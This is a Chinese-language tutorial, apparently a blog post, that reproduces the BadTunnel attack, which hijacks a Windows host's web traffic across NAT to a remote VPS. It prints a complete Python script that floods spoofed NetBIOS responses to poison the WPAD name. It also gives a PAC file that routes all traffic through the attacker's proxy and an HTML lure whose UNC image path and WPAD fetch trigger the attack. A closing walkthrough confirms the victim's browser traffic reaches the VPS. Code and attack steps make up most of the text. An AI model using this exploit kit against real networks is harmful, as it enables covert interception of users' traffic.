不少人的關注點都是集中在WPAD協議的利用姿勢方面 而忽略的最核心的點 'Tunnel'顧名思義即隧道 而這個漏洞的精髓就是靠的這個Tunnel 使得劫持任意網段主機流量成爲可能 關於漏洞的起因我就不多說了 烏雲drop裏的文章已經說的很詳細了 這裏
下面模擬下真實的遠程內網劫持攻擊:
測試環境:本地一臺內網windows主機 + 遠程一臺阿里雲VPS
測試目標:本地用瀏覽器打開構造好的網頁後 完成將本地網絡流量劫持到遠程的VPS主機上
說下具體的攻擊步驟:
0x1 本地主機
本地不要做任何設置 只要保證IE瀏覽器的自動檢測代理爲默認開啓就行
主機通過無線路由上網 處於內網之中
NetBois 緩存也已清空
0x2 遠程主機
先看下IP
第一個文件最重要的當然利用代碼 內容如下:
__author__
= 'T3rry'
# Poison a system's NetBIOS resolver for the WPAD name from outside NAT
# Usage: python badtunnel.py wpad_server_ip
from socket import *
import sys
import binascii
import time
HOST = '0.0.0.0'
PORT = 137
BUFSIZE = 1024
ADDR = (HOST,PORT)
TRANSACTION_ID_BLOCK=100
NB_RESPONSE_PACKET='''
FFFF
8500
0000000100000000
20464846414542454543414341434143414341434143414341434143414341414100
0020
0001
00FFFFFF
0006
0000
FFFFFFFF
'''
PAYLOAD = binascii.a2b_hex((NB_RESPONSE_PACKET.replace('\t','').replace('\n','').replace(' ','')))
def usage():
print ("usage: python badtunnel.py wpad_server_ip")
def parse_nbns(data):
transaction_id=data[:2]
print "TransactionId :", hex(ord(transaction_id[0])),hex(ord(transaction_id[1]))
type= data[-4:-2]
if type=='\x00\x20':
print ("Type is: NB Query")
elif type=='\x00\x21':
print ("Type is: NBStat Query")
return transaction_id
def convert_ipv4_address(ip):
ip_addr = ip
packed_ip_addr = inet_aton(ip_addr)
unpacked_ip_addr = inet_ntoa(packed_ip_addr)
return binascii.hexlify(packed_ip_addr)
if __name__ == "__main__":
wpad_server_ip=''
if(len(sys.argv) < 2 ):
usage()
exit()
else:
wpad_server_ip= binascii.a2b_hex(convert_ipv4_address(sys.argv[1]))
badTunnel = socket(AF_INET, SOCK_DGRAM)
badTunnel.bind(ADDR)
while(True):
transaction_id=0
print ('Waiting for message...')
data, addr = badTunnel.recvfrom(BUFSIZE)
print ("[*] NetBIOS request from %s:%s..."%(addr[0],addr[1]))
transaction_id=parse_nbns(data)
if(transaction_id>0):
index=binascii.b2a_hex(transaction_id)
print ("Start sending payload data...")
for i in range(int(index,16)-TRANSACTION_ID_BLOCK,int(index,16)+TRANSACTION_ID_BLOCK):
data=list(PAYLOAD)
id=binascii.a2b_hex(hex(i)[2:])
data[0] =id[0]
data[1] =id[1]
data[58]=wpad_server_ip[0]
data[59]=wpad_server_ip[1]
data[60]=wpad_server_ip[2]
data[61]=wpad_server_ip[3]
payload=''.join(data)
badTunnel.sendto(payload,addr)
time.sleep(0.02)
print ("Send payload data finished ")
badTunnel.close()
注意:代碼中的transaction_id 變量 這個是從請求包中解析出來的 最終payload的構成就是依賴這個值 TRANSACTION_ID_BLOCK我把它設成了100 區間爲200 這對攻擊的成功率很關鍵
function
FindProxyForURL(url, host) {
// URLs within this network are accessed directly
if (isInNet(host, "127.0.0.1", "255.255.255.0"))
{
return "DIRECT";
}
return "PROXY x.x.x.x:8080; DIRECT";
}
其中x.x.x.x 爲VPS的外網IP 將配置好的文件上傳到Web服務器的 根目錄下
對了 爲了順利的劫持流量 還要準備一個 http代理腳本 這個我就不貼了 網上一大堆
然後 分別運行攻擊腳本和代理腳本
0x3 流量劫持
所有的準備工作已完成 下面就是用瀏覽器打開 構造好的html文件 其實文件的內容很簡單 貼下吧
<html>
<img src="\\x.x.x.x\BadTunnel">
<img src="http://WPAD/wpad.dat">
</html>
其中x.x.x.x 爲VPS的公網IP
瀏覽器本地打開網頁
接下來我們看看VPS上的反應
我們看到攻擊腳本檢測到了請求 併發送了僞造的數據包
同時發現Web日誌裏有了WPAD.dat 文件的下載記錄
有興趣的同學可以自己用WireShark抓包看看數據包的交互過程
我們先本地查下看Netbois緩存記錄
發現NetBois的緩存已經被成功寫入
到了這裏說明攻擊已經成功了
我們打開IE瀏覽器驗證下 查看下IP 發現顯示爲VPS的地址
再到vps看下 發現剛纔的瀏覽器的訪問請求已經被記錄了下來
涉及到的代碼 這裏